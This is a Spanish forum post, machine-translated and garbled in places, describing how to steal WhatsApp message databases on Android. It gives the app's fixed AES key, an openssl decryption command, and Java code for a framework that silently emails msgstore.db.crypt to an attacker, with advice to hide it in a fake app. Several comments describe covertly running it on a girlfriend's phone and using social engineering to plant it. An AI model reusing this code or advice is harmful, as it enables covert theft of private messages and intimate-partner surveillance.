Vulnerando WhatsApp [Android]

Vulnerando WhatsApp [Android]


Hola amigos, les quería compartir esta info, a mi parecer, bastante técnica, asique el que no entienda de PHP o programación o no este interesado en la Seguridad Informática, puede hacer click aquí.

Les cuento que la información la encontré en ingles asique la traduje con Google, perdonen los errores en cuanto a puntuación o gramaticales. Corrijo algunos, pero lo mas probable es que queden "Spañolizados".



Aquí el post:



Whatsapp, el servicio móvil de mensajería de mayor crecimiento, es la principal amenaza para el modelo de negocios (obsoleta) de los operadores de telecomunicaciones. Sus números exponenciales confirmar que las empresas de telecomunicaciones reaccionar tarde y mal: Whatsapp ha tomado una posición que será difícil de destronar. El único riesgo aparente reside entre otras en las empresas que utilizan el mismo concepto de notificaciones


Además, es sorprendente ver cómo la seguridad en Whatsapp es inexistente.


En mayo de 2011, hubo un informe de errores que dejó abierta las cuentas de usuario. Esta fue la primera aparición pública. Desde entonces, se informó que la comunicación dentro WhatsApp no ​​eran cifrados, siendo los datos enviados y recibidos en texto claro. Esto permitió que cualquier persona interceptara los mensajes mediante una conexión Wi-Fi a la misma, como el teléfono de destino (una aplicación para Android fue publicada y aún esta en el mercado, a pesar de que se retiró después de un par de semanas por Google). En mayo de 2012, el error fue reportado por "Determinar", aunque se tomó un año para implementar una solución que no es especialmente compleja.


En septiembre de 2011, una nueva versión de WhatsApp permitía mensajes falsos para ser enviados a cualquier usuario WhatsApp.


El 6 de enero de 2012, un hacker desconocido publicó un sitio web que hace posible cambiar el estado de un usuario WhatsApp, siempre y cuando el número de teléfono fuera conocido. Este error fue reportado el 9 de enero ... pero la única medida que se tomó fue el bloqueo de la dirección IP del sitio web. Como reacción, una herramienta de Windows se puso a disposición para su descarga y proporciona la misma funcionalidad. Este problema no ha sido resuelto hasta ahora.


El 13 de enero de 2012, Whatsapp fue retirado de la App Store de iOS por una razón no revelada. La aplicación se vuelve a añadir a la App Store 4 días después. El alemán blog Tech H demostró cómo secuestrar cualquier cuenta WhatsApp el 14 de septiembre de 2012. WhatsApp reaccionó con una amenaza legal a los desarrolladores de WhatsAPI.


El bastión inexpugnable fue la base de datos local de los mensajes, ya que se almacenan físicamente en el dispositivo y que cualquiera tendría acceso a ella ... en teoría. Vamos a demostrar cómo podemos lograrlo. En la mayoría de los casos es posible obtener el historial de mensajes WhatsApp desde un dispositivo o de copia de seguridad, para más detalles leer este documento: Base de datos WhatsApp Cifrado Informe del Proyecto


Resumiendo: La base de datos que contiene todos los mensajes WhatsApp se almacena en un formato de archivo SQLite. Para teléfonos iOS este archivo está en la ruta: [App] ID / Documents / ChatStorage.sqlite y en el caso de los teléfonos Android en /com.whatsapp/bases de datos/msgstore.db. Este archivo está cifrado, lo que requiere del teléfono para acceder a la jailbreaked. En Android, el archivo de copia de seguridad se almacena en la tarjeta de memoria externa, y tampoco estaba cifrada. Esto cambió en una actualización de la aplicación, y ahora, si el teléfono se pierde o es robado, los mensajes no se pueden leer.


Desafortunadamente, la aplicación utiliza la misma clave para el cifrado (AES-192-BCE) (346a23652a46392b4d73257c67317e352e3372482177652c), y no hay ningún uso de entropía o factores únicos para cada dispositivo, por lo que la base de datos se puede cifrar en cuestión de segundos.

openssl enc-d-aes-192-BCE-en-MSGSTORE 1.db.crypt Salida msgstore.db.sqlite-K346a23652a46392b4d73257c67317e352e3372482177652c


Por lo tanto, sabemos cómo romper el cifrado. Ahora tenemos que solucionar el problema de tener acceso al dispositivo.


Android utiliza permisos para determinar cuáles son las aplicaciones y se pueden hacer cuando se instala en el dispositivo. Para leer desde el almacenamiento externo tenemos que utilizar el permiso android.permission.WRITE_EXTERNAL_STORAGE. Mediante el uso de eso, vamos a poder acceder a todos los archivos de la tarjeta SD. Sorprendentemente, los desarrolladores de WhatsApp no ​​utilizar el almacenamiento interno de la aplicación, lo que podría prevenir cualquier aplicación que quiera robar sus datos.


Ahora que podemos acceder a los datos, tenemos que enviarlo a otro lugar. Por defecto, Android nos permite usar Intenciones con el fin de enviar correos electrónicos. Pero esto no es del todo transparente: el usuario será capaz de ver que estamos tratando de enviar un correo electrónico a una dirección de correo electrónico desconocida, y esta acción sería cancelada. Pero podemos utilizar otras técnicas. Por ejemplo, se podría utilizar una capa transparente, conectarse a un servidor de correo sin que se dispare la percepción del usuario y adcquira el archivo con la información preciosa.


He desarrollado un marco (Burglar WhatsApp Conversación) que pueden ser incluidos dentro de una aplicación Android, y robar los datos sin que el usuario conocerla. Puedes descargarlo desde aquí.


Veamos cómo funciona:

El marco presenta una actividad ficticia (MailSenderActivity), con sólo un botón. Tenemos la siguiente escucha cuando se pulsa el botón:

public void onClick (Ver v) {
try {
AsyncTask <Void, Void, Void> m = new AsyncTask <Void, Void, Void> () {

@ Override
protected void doInBackground (Void. .. arg0) {
GMailSender remitente = new GMailSender (EMAIL_STRING, PASSWORD_STRING);
try {
sender.addAttachment ("/ storage/sdcard0/WhatsApp/Databases/msgstore.db.crypt", SUBJECT_STRING);
sender.sendMail (SUBJECT_STRING,
BODY_STRING,
EMAIL_STRING,
RECIPIENT_STRING);
} Catch (Exception e) {
e.printStackTrace ();
}
return null;
}
};
m.execute ((Void) null);
} Catch (Exception e) {
DebugLog.e ("SendMail", e.getMessage ());
}
}
});



Esta sección de código inicializa un objeto GMailSender con algunos parámetros. El AddAttachment function () adjuntar un archivo de destino que desee enviar (en nuestro caso, es la base de datos que contiene todos los mensajes WhatsApp) y un tema al correo electrónico. El sendMail function () acaba de enviar el correo electrónico con la información requerida (SUBJECT_STRING, BODY_STRING, EMAIL_STRING, RECIPIENT_STRING). La clase GMailSender es el objeto responsable de toda la comunicación por correo electrónico, utilizando la biblioteca JavaMail. El código es auto-explicativo.


Al establecer los parámetros correctos, el archivo con todas las conversaciones que se envía a la dirección de correo electrónico facilitada, en el que puede descifrar utilizando la línea de lo previsto antes en el terminal. Si desea utilizar este marco en su aplicación, sólo tiene que añadir como una biblioteca, e incluir el código dentro de la aplicación (probablemente en el onCreate () de la primera actividad desencadenada, así que asegúrese de que las conversaciones son robados cuando se inicia la aplicación). Una aplicación falsa podría incluir este marco, y todavía todas las conversaciones de los usuarios a instalar


No hay manera de evitar este error, simplemente quitando el archivo con todas las conversaciones. WhatsApp podría utilizar otro tipo de encriptación (usando datos como dispositivo IMEI, el tiempo de instalación en UNIX o cualquier otra información no replicable), o simplemente lo mueve a la carpeta de aplicación privada (/ data / data / com.package.name /). Pero teniendo en cuenta su trágica historia en materia de seguridad es probable que no se puede confiar en esto.



Tambien les convido a esta charla, donde podran aplicar el exploit


y por si no vieron el link en el post, les dejo el link con lel framework whatsapp

Saludos

Anuncios

9 comentarios - Vulnerando WhatsApp [Android]

@tiochele +2
¡Buen post! Muy interesante, lo uso todo el tiempo y nunca me había interesado informarme de que tan seguro es. ¡Te dejo 10!
@sbusto +1
muchas gracias
@nic_demo
gracias por el dato, interesante.
@victorantonio967
disculpa sabes como desencriptat los archivos msgstore.bak son del whatsapp pero del symbian
@joegmjoe +1
Excelente Post, de hecho hice una prueba con un proyecto que ya habia hecho y como tu mismo lo dijiste meti el macro, aun que lo unico que hice fue:

File ArchivoW = new File ("/storage/sdcard0/WhatsApp/Databases/msgstore.db.crypt",)

Despues esa variable ArchivoW se la pase a mi metodo del GmailSender y Voala.

Cabe señalar que lo hice en el evento OnCreate y nadamas la ejecutas lo hace.

Aunque aqui tengo una duda, usas algun metodo de tu Gmail Sender para que el File Attachment lo cargue mas rapido? porque mi BD era de 6 mg y se tardo como 30 segundos en abrir la app (Puesto q copio el archivo al abrirlo).

Saludos!
@taringuero_14
No habían largado un fix para solucionar esto ya? que yo sepa es viejo
@joegmjoe +1
No, aun no existe, actualmenrte yo uso un marco en el celular de mi novia. Y funciona de maravilla.
Ahora he hecho un proceso que siempre se esta ejecutando y simplemente asi como Whatsapp hace sus respoaldos de bases de datos a las 4am, yo hago la copia y envio de la base a mi correo cada 5 horas.
@maodel +2
Excelente POST, impresionan los fallo, habría algún nuevo lugar para bajarlo ya que el enlace dejo de funciona, gracias de antemano
@dalienlaluna
migo, te dejo mis primeros 5, pero necesitamos ese framework :'(, te prometo mi otros 5... es más, ahí van :I.... pero en enlace :o
@dalienlaluna
ok, solo me deja poner 5 :I
@Damonisch6
Alguien que me quiera ayudar con esto? Se lo agradeceria muchisimo
@Damonisch6
y como puede uno meter este archivo que roba las bases de datos en otro celular sin tener acceso a el?
@joegmjoe
@Damonisch6 Definitivamente si quieres meter el archvo debes de convencer a la persona que lo instale, de otra forma, no hay forma. Yo hice ingenieria social y asi funciono.